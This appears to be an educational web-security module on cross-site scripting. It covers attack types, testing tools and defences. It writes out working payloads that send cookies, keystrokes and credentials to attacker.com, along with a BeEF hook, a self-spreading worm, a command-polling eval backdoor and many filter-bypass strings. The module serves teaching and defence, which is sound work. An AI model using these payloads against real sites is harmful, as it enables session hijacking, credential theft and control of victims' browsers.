Cross-Site Scripting (XSS) Overview
What is XSS?
Cross-Site Scripting (XSS) is a client-side code injection attack where an attacker injects malicious scripts into trusted websites. When other users view the affected page, the malicious script executes in their browser with the privileges of the vulnerable site.
Impact of XSS Attacks
- Session Hijacking: Steal authentication cookies to impersonate victims
- Credential Theft: Capture keystrokes, form data, and passwords
- Website Defacement: Modify page content to display malicious information
- Phishing: Display fake login forms to harvest credentials
- Malware Distribution: Redirect users to malicious sites or trigger downloads
- Browser Exploitation: Leverage browser vulnerabilities for system access
XSS Attack Flow
- Discovery: Attacker identifies injection points (search boxes, comment fields, URL parameters)
- Payload Crafting: Create malicious JavaScript tailored to bypass filters
- Injection: Insert payload into vulnerable input
- Execution: Victim's browser executes the script
- Exploitation: Attacker achieves objectives (steal data, redirect, etc.)
Testing Methodology
- Map all user input fields (forms, URLs, headers)
- Test with basic payloads:
<script>alert(1)</script> - Analyze context (HTML, attribute, JavaScript, URL)
- Craft context-specific payloads
- Test filter bypass techniques
- Document findings with proof-of-concept
Attack Contexts
HTML Context
Injection into HTML body content
<div>User input here: <script>alert('XSS')</script></div>
Attribute Context
Injection into HTML attributes
<input value="USER_INPUT" onmouseover="alert('XSS')">
JavaScript Context
Injection into JavaScript code
<script>var name = 'USER_INPUT'; alert(name);</script>
URL Context
Injection into href or src attributes
<a href="javascript:alert('XSS')">Click</a>
Complete all sections and pass the quiz to finish this module
Reflected XSS (Non-Persistent)
How Reflected XSS Works
- Attacker crafts malicious URL containing JavaScript payload
- Victim clicks the link (via phishing, social engineering)
- Server reflects the payload in the response without sanitization
- Browser executes the script in the context of the vulnerable site
Example Scenario: Vulnerable Search
// Vulnerable server code (PHP example)
<?php
$search = $_GET['q'];
echo "You searched for: " . $search;
?>
// Attack URL
https://vulnerable-site.com/search?q=<script>alert(document.cookie)</script>
// Page renders as:
You searched for: <script>alert(document.cookie)</script>
Real-World Example
A search feature that displays "No results for: [user input]" without encoding could be exploited:
https://shop.example.com/search?term=<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>
- Phishing emails with malicious links
- Shortened URLs to hide payload
- QR codes linking to malicious URLs
- Compromised websites with malicious iframes
Advanced Reflected XSS
Cookie Theft
<script>
new Image().src='https://attacker.com/log?c='+document.cookie;
</script>
Keylogger Injection
<script>
document.addEventListener('keypress', function(e) {
fetch('https://attacker.com/log?k='+e.key);
});
</script>
Credential Harvesting
<script>
document.body.innerHTML = '<form action="https://attacker.com/steal">' +
'<h3>Session Expired - Please Re-login</h3>' +
'<input name="user" placeholder="Username">' +
'<input name="pass" type="password" placeholder="Password">' +
'<button>Login</button></form>';
</script>
Detection Tips
- Look for user input reflected in error messages
- Test URL parameters, especially search and filter functions
- Check HTTP headers (User-Agent, Referer) reflected in responses
- Analyze 404 error pages that display requested URLs
Stored XSS (Persistent)
How Stored XSS Works
- Attacker submits malicious payload through input field (comment, profile, message)
- Server stores the payload in database without sanitization
- When any user views the page, server retrieves and displays the payload
- Browser executes the script for every victim who loads the page
Common Injection Points
- User Profiles: Bio, about me, username fields
- Comments: Blog comments, forum posts, product reviews
- Messages: Private messages, chat applications
- File Uploads: SVG files, HTML files with metadata
- Settings: Custom themes, signatures, display names
Example: Comment System
// Vulnerable comment storage
POST /comments
Body: {
"comment": "<script>alert('All users will see this!')</script>"
}
// Database stores raw payload
INSERT INTO comments (text) VALUES ('<script>...')
// Page renders for all users
<div class="comment">
<script>alert('All users will see this!')</script>
</div>
Advanced Persistent Attacks
BeEF Hook Injection
Browser Exploitation Framework can control victim browsers:
<script src="http://attacker.com:3000/hook.js"></script>
Self-Propagating XSS Worm
Script that replicates itself (like Samy worm on MySpace 2005):
<script>
// Read own payload from DOM
var payload = document.getElementById('worm').innerHTML;
// Post to all friends' profiles
friends.forEach(friend => {
fetch('/post', {
method: 'POST',
body: JSON.stringify({to: friend, message: payload})
});
});
</script>
Persistent Backdoor
<script>
setInterval(function() {
fetch('https://attacker.com/cmd')
.then(r => r.text())
.then(cmd => eval(cmd));
}, 5000); // Check for commands every 5 seconds
</script>
File Upload XSS
SVG files can contain JavaScript:
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert('XSS via SVG')</script>
</svg>
Testing Stored XSS
- Identify all input fields that store data
- Submit test payloads with unique identifiers
- Navigate to pages where data is displayed
- Check if payload executes
- Test from different user accounts (your payload affecting others)
DOM-Based XSS
How DOM XSS Works
- Malicious payload is in URL fragment or parameter
- Client-side JavaScript reads the payload (from window.location, document.URL)
- Code inserts payload into DOM using dangerous sinks
- Browser executes the script
Sources and Sinks
Common Sources (Where attacker-controlled data comes from)
// URL-based sources
window.location.hash
window.location.search
document.URL
document.documentURI
document.URLUnencoded
document.referrer
// Other sources
window.name
document.cookie
localStorage/sessionStorage
Dangerous Sinks (Where data gets executed)
// Direct execution
eval()
Function()
setTimeout(string)
setInterval(string)
// DOM manipulation
document.write()
document.writeln()
element.innerHTML
element.outerHTML
// Navigation
window.location
window.open()
element.src (script, iframe)
element.href (when javascript:)
Example Vulnerable Code
// Vulnerable: Reading from URL and writing to DOM
<script>
var name = window.location.hash.substring(1);
document.getElementById('welcome').innerHTML = 'Hello ' + name;
</script>
// Attack URL
https://site.com/welcome.html#<img src=x onerror=alert('XSS')>
// Result: innerHTML becomes
Hello <img src=x onerror=alert('XSS')>
Real-World DOM XSS Examples
Example 1: URL Fragment Processing
// Vulnerable code
var page = location.hash.substring(1);
document.write('<div>' + page + '</div>');
// Attack
https://site.com/#<script>alert(document.cookie)</script>
Example 2: Client-Side Routing
// Vulnerable SPA routing
var route = location.pathname;
document.getElementById('content').innerHTML = routes[route];
// Attack via path injection
https://site.com/<img src=x onerror=alert(1)>
Example 3: PostMessage Handler
// Vulnerable postMessage listener
window.addEventListener('message', function(e) {
document.getElementById('output').innerHTML = e.data;
});
// Attack from malicious iframe
targetWindow.postMessage('<img src=x onerror=alert(1)>', '*');
Advanced DOM XSS Techniques
jQuery Sink Exploitation
// Vulnerable jQuery
var user = location.hash.substring(1);
$('#div').html(user);
// Attack
#<img src=x onerror=alert(1)>
AngularJS Template Injection
// Vulnerable Angular binding
<div ng-bind-html="userInput"></div>
// Attack
{{constructor.constructor('alert(1)')()}}
React dangerouslySetInnerHTML
// Vulnerable React component
<div dangerouslySetInnerHTML={{__html: userInput}} />
// Attack
<img src=x onerror=alert(1)>
Testing for DOM XSS
- Review all client-side JavaScript for sources and sinks
- Test URL parameters, fragments, and hash values
- Use browser DevTools to set breakpoints on dangerous sinks
- Test with DOM XSS-specific payloads
- Check modern frameworks (React, Angular, Vue) for template injection
Interactive XSS Sandbox
This simulates a vulnerable search feature. Try different XSS payloads to see what would happen on a real vulnerable site.
<script>alert('XSS')</script>
Simulates how reflected XSS appears in search results or error messages.
Shows how DOM manipulation can lead to XSS.
- How unsanitized input appears in page output
- The difference between encoded and unencoded output
- How attackers craft payloads to bypass simple filters
- Why output encoding is critical for XSS prevention
Filter Bypass Techniques
Case Variation
Many filters are case-sensitive and miss variations:
<ScRiPt>alert('XSS')</ScRiPt>
<SCRIPT>alert('XSS')</SCRIPT>
<script>ALERT('XSS')</script>
<sCrIpT>alert('XSS')</sCrIpT>
HTML Encoding
Using HTML entities to bypass filters:
<img src=x onerror="alert(1)">
<img src=x onerror="alert(1)">
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
Alternative Event Handlers
When onerror is blocked, try these:
<img src=x onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>
<textarea onfocus=alert(1) autofocus>
<keygen onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<div onpointerenter=alert(1)>Hover me</div>
<details open ontoggle=alert(1)>
SVG and Math Elements
Less commonly filtered tags:
<svg onload=alert(1)>
<svg><script>alert(1)</script></svg>
<svg><animate onbegin=alert(1)>
<math><mtext></mtext><script>alert(1)</script></math>
Polyglot Payloads
Works in multiple contexts:
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
Tag Breakout
When injection is inside an attribute:
" onmouseover="alert(1)
' onmouseover='alert(1)
"><script>alert(1)</script>
'><script>alert(1)</script>
Protocol Handlers
JavaScript protocol in various contexts:
<a href="javascript:alert(1)">Click</a>
<iframe src="javascript:alert(1)">
<form action="javascript:alert(1)">
<object data="javascript:alert(1)">
<embed src="javascript:alert(1)">
Unicode and Encoding Tricks
// Unicode escape
\u003cscript\u003ealert(1)\u003c/script\u003e
// URL encoding
%3Cscript%3Ealert(1)%3C/script%3E
// Double URL encoding
%253Cscript%253Ealert(1)%253C/script%253E
// Mixed encoding
<scri%00pt>alert(1)</scri%00pt>
Obfuscation Techniques
// String concatenation
<script>alert('XS'+'S')</script>
// Eval with encoding
<script>eval(atob('YWxlcnQoMSk='))</script>
// Template literals
<script>alert`1`</script>
// Using constructor
<script>[].constructor.constructor('alert(1)')()</script>
Filter-Specific Bypasses
Bypassing "script" Blacklist
<scr<script>ipt>alert(1)</scr</script>ipt>
<script>alert(1)</script>
Bypassing Parentheses Filter
onerror=alert;throw 1
onerror=alert`1`
<script>onerror=alert;throw 1</script>
Bypassing Quotes Filter
String.fromCharCode(88,83,83)
/XSS/.source
`XSS`
Mutation XSS (mXSS)
Exploiting browser parsing differences:
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<listing><img src=x onerror=alert(1)></listing>
<style><img src=x onerror=alert(1)></style>
Interactive Payload Builder
Build custom XSS payloads based on context and filters.
Select Context:
Direct HTML injection
Inside tag attribute
Inside <script> block
In href or src
Bypass Techniques:
XSS Testing Tools
Browser Developer Tools
Primary Tool: Chrome/Firefox DevTools (F12)
- Elements Tab: Inspect how input is rendered in DOM
- Console: Test JavaScript execution context
- Network Tab: Monitor outbound requests from XSS
- Sources: Set breakpoints on dangerous sinks (innerHTML, eval)
// Console commands for testing
document.querySelectorAll('*').forEach(e => console.log(e.innerHTML));
// Find all innerHTML assignments
Object.getOwnPropertyDescriptor(Element.prototype, 'innerHTML').set
// Check innerHTML setter
XSS Hunter
Purpose: Blind XSS detection - captures proof when payload executes
- Generates unique payloads with callback URLs
- Captures screenshots, cookies, DOM when triggered
- Ideal for testing delayed execution (admin panels, logs)
- Free tier available at xsshunter.com
<script src="https://yoursubdomain.xss.ht"></script>
Burp Suite Intruder
Use Case: Automated fuzzing with payload lists
- Load XSS payload wordlists (SecLists, PayloadsAllTheThings)
- Configure attack positions (parameters to test)
- Grep for execution indicators:
<script>,onerror, etc. - Community Edition: Free, Professional: $399/year
Workflow:
- Capture request in Proxy
- Send to Intruder (Ctrl+I)
- Mark injection points with ยงยง
- Load payload list (Payloads tab)
- Add grep match for alert, onerror, etc.
- Start attack and review matches
OWASP ZAP (Zed Attack Proxy)
Free Alternative: Open-source security scanner
- Active scanner with XSS rules
- Fuzzer for payload injection
- Automatic DOM XSS detection
- Completely free and open source
XSStrike
Python Tool: Advanced XSS detection suite
# Install
git clone https://github.com/s0md3v/XSStrike.git
cd XSStrike
pip install -r requirements.txt
# Usage
python xsstrike.py -u "http://target.com/page?param=value"
python xsstrike.py -u "http://target.com/search" --data "q=test"
- Intelligent payload generation
- Context analysis
- WAF detection and bypass
- Crawling capabilities
Nuclei
Template-Based Scanner: Fast XSS template scanning
# Install
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
# Run XSS templates
nuclei -u https://target.com -t xss/
nuclei -l urls.txt -t xss/ -o results.txt
Dalfox
Fast XSS Scanner: Parameter analysis and automation
# Install
go install github.com/hahwul/dalfox/v2@latest
# Usage
dalfox url http://target.com/page?param=FUZZ
dalfox file urls.txt -o results.txt
DOM Invader (Burp Extension)
Browser Extension: Real-time DOM XSS detection
- Tracks sources and sinks automatically
- Highlights dangerous flows in real-time
- Built into Burp Suite Professional
- Browser-based testing companion
Payload Resources
- PayloadsAllTheThings: github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection
- SecLists: github.com/danielmiessler/SecLists/tree/master/Fuzzing/XSS
- PortSwigger XSS Cheat Sheet: portswigger.net/web-security/cross-site-scripting/cheat-sheet
- OWASP: owasp.org/www-community/xss-filter-evasion-cheatsheet
Testing Methodology
- Reconnaissance: Map all input points (forms, URLs, headers)
- Context Analysis: Determine injection context (HTML, attribute, JS, URL)
- Manual Testing: Test basic payloads to understand behavior
- Automated Scanning: Use tools to test payload variations
- Bypass Attempts: If filtered, try encoding and obfuscation
- Documentation: Record working payloads with screenshots
- Impact Analysis: Demonstrate real-world attack scenarios
XSS Defense Mechanisms
1. Output Encoding (Primary Defense)
Encode data based on context before inserting into page:
HTML Entity Encoding
// JavaScript
function encodeHTML(str) {
return str.replace(/&/g, '&')
.replace(//g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// Output: <script>alert(1)</script>
console.log(encodeHTML("<script>alert(1)</script>"));
JavaScript String Encoding
// When inserting into JavaScript context
function encodeJS(str) {
return str.replace(/\\/g, '\\\\')
.replace(/'/g, "\\'")
.replace(/"/g, '\\"')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r');
}
<script>
var name = '<%= encodeJS(userInput) %>';
</script>
URL Encoding
// JavaScript
encodeURIComponent(userInput)
// Python
from urllib.parse import quote
safe_url = quote(user_input)
// PHP
urlencode($user_input)
2. Content Security Policy (CSP)
HTTP header that restricts script sources and inline execution:
Basic CSP
// HTTP Header
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
// Meta tag (less secure, can't block inline scripts)
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self'">
Strong CSP Configuration
Content-Security-Policy:
default-src 'none';
script-src 'self' https://cdn.trusted.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.trusted.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
CSP with Nonces (Best Practice)
// Server generates random nonce per request
Content-Security-Policy: script-src 'nonce-r4nd0m123'
// Only scripts with matching nonce execute
<script nonce="r4nd0m123">
// This executes
</script>
<script>
// This is blocked
</script>
3. HTTPOnly Cookies
Prevent JavaScript access to session cookies:
// Server sets cookie with HTTPOnly flag
Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict
// JavaScript cannot access this cookie
console.log(document.cookie); // sessionid won't appear
4. Input Validation
Validate input format (not as XSS prevention, but general security):
// Whitelist allowed characters
function validateInput(input, type) {
const patterns = {
email: /^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/,
alphanumeric: /^[a-zA-Z0-9]+$/,
numeric: /^[0-9]+$/
};
return patterns[type].test(input);
}
5. Sanitization Libraries
Use battle-tested libraries for complex scenarios:
DOMPurify (JavaScript)
// Client-side HTML sanitization
import DOMPurify from 'dompurify';
const dirty = '<img src=x onerror=alert(1)>';
const clean = DOMPurify.sanitize(dirty);
// Result: <img src="x"> (onerror removed)
element.innerHTML = clean; // Safe
OWASP Java Encoder
import org.owasp.encoder.Encode;
String safe = Encode.forHtml(userInput);
out.println("<div>" + safe + "</div>");
Python bleach
import bleach
clean = bleach.clean(user_input,
tags=['p', 'b', 'i', 'u', 'em', 'strong'],
attributes={},
strip=True
)
6. Framework-Specific Protections
React
// React automatically escapes JSX expressions
const element = <div>{userInput}</div>; // SAFE
// Dangerous: only use with sanitized data
const dangerous = <div dangerouslySetInnerHTML={{__html: userInput}} />;
Angular
<!-- Angular sanitizes by default -->
<div>{{ userInput }}</div> <!-- SAFE -->
<!-- Dangerous: bypasses sanitization -->
<div [innerHTML]="userInput"></div>
Vue.js
<!-- Vue escapes by default -->
<div>{{ userInput }}</div> <!-- SAFE -->
<!-- Dangerous: renders raw HTML -->
<div v-html="userInput"></div>
7. Template Engines with Auto-Escaping
// Jinja2 (Python) - auto-escapes by default
{{ user_input }} {# SAFE #}
{{ user_input | safe }} {# DANGEROUS #}
// Handlebars (JavaScript)
{{ userInput }} {{! SAFE }}
{{{ userInput }}} {{! DANGEROUS - triple braces disable escaping }}
8. Security Headers
// Prevent MIME sniffing
X-Content-Type-Options: nosniff
// Enable XSS filter in older browsers (deprecated but doesn't hurt)
X-XSS-Protection: 1; mode=block
// Prevent clickjacking (related to XSS attacks)
X-Frame-Options: DENY
// Control referrer information
Referrer-Policy: strict-origin-when-cross-origin
Secure Coding Practices
DO:
- Use textContent instead of innerHTML when inserting plain text
- Encode output based on context (HTML, JS, URL, CSS)
- Implement strong CSP with nonces
- Use HTTPOnly and Secure flags on cookies
- Validate input format (as defense-in-depth, not primary defense)
- Use established sanitization libraries
- Regularly update dependencies
DON'T:
- Trust user input - ever
- Use blacklist filters (easily bypassed)
- Rely on client-side validation alone
- Use eval(), Function(), or innerHTML with user data
- Disable framework auto-escaping
- Store sensitive data in client-side JavaScript variables
- Use 'unsafe-inline' in CSP without nonces
Testing Your Defenses
- Review CSP headers with browser DevTools
- Use CSP Evaluator: csp-evaluator.withgoogle.com
- Test with OWASP ZAP or Burp Suite
- Manual code review for dangerous sinks
- Penetration testing with payload variations
- Check Security Headers: securityheaders.com